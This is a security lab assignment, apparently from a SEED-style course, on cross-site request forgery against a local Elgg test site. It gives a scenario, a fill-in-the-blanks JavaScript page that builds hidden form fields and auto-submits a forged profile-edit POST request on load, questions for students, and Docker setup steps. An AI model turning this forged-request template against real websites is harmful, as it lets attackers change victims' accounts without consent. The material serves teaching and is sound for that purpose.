Cross site request forgery

Boby wants to enplace a CSRF attack against Charlie, which refuses to admit that Boby is his best friend. Boby wants to modify Charlie's profile by forging a request.

To do so, Boby post a message to Charlie's account, hoping that he will click the malicious URL (www.attacker32.com).

If users want to modify their profiles, they go to the profile page of Elgg, fill out a form, and then submit the form —sending a POST request— to the server-side script /profile/edit.php, which processes the request and does the profile modification.

Namely, Boby needs to forge an HTTP POST request from the victim's browser, when the victim is visiting their malicious site. Attackers need to know the structure of such a request in order to craft a Javascript code that produces a well formatted POST request.

Boby wants to change Charlie name in `Charlie<3Boby` and wants to post the brief description the string "`Boby is my best friend and he will always be!`".

In the following a sample of the code that you need to modify (where you find **x** strings):

```
html
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>

<script type="text/javascript">
    function forge_post() {
        var fields;
        // The following are form entries need to be filled out by attackers.
        // The entries are made hidden, so the victim won't be able to see them.
        fields += "<input type='hidden' name='name' value='**1**'>";
        fields += "<input type='hidden' name='briefdescription' value='**2**'>";
        fields += "<input type='hidden' name='accesslevel[briefdescription]'
        value='2'>"; // (1)
        fields += "<input type='hidden' name='guid' value='**3**'>";
        // Create a <form> element.
        var p = document.createElement("form");
        // Construct the form
        p.action = "http://**4**";
        p.innerHTML = fields;
        p.method = "post";
        // Append the form to the current page.
        document.body.appendChild(p);
        // Submit the form
        p.submit();
    }

// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>
```

You can find this code in LabSetup/attacker folder.

1) What is the malicious link that you need to send to Charlie?
2) What you inserted in **1** and **2**?
3) What about **3**? How did you manage to find the `guid`?
4) What is and how you can find the link you need to specify in **4**?

NB: Make sure that Charlie is a friend of Boby in the elgg website, otherwise the attack won't work.

Basic instructions for containers

1) Build and turn on containers (`dcbuild`, `dcup`);
2) If for any reason it does not work, shut down all containers and remove them with the following commands

```
docker stop $(docker ps -a -q)
docker rm $(docker ps -a -q)
```

3) Clean up the `mysql-data` folder to get a fresh new db

```
rm -rf mysql-data/*
```

4) Get back to step 1;

If the system is correctly working, you should reach login page at:
http://www.seed-server.com/
and you should be able to login with user `Boby` and pwd `seedboby`.
For networking reasons, **USE CHROMIUM** browser **INSTEAD OF FIREFOX**! Otherwise, you won't be able to reach the website.